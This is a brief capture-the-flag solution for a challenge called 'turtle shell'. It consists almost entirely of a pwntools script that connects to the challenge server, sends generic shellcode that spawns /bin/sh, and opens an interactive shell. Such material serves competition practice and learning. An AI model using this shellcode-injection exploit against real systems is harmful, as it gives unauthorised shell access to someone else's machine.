turtle shell
simple shellcode
Last updated
#!user/bin/python3
from pwn import *
# =========================================================
# SETUP
# =========================================================
exe = './turtle-shell'
context.binary = ELF(exe, checksec=True)
context.log_level = 'debug'
local = False
if(local):
io = process(exe)
else:
io = remote('turtle.sdc.tf', 1337)
# =========================================================
# ADDRESSES
# =========================================================
# =========================================================
# EXPLOITS
# =========================================================
shellcode = asm(shellcraft.sh())
# flattening payload here
payload = flat([
shellcode,
])
io.sendline(payload)
io.interactive()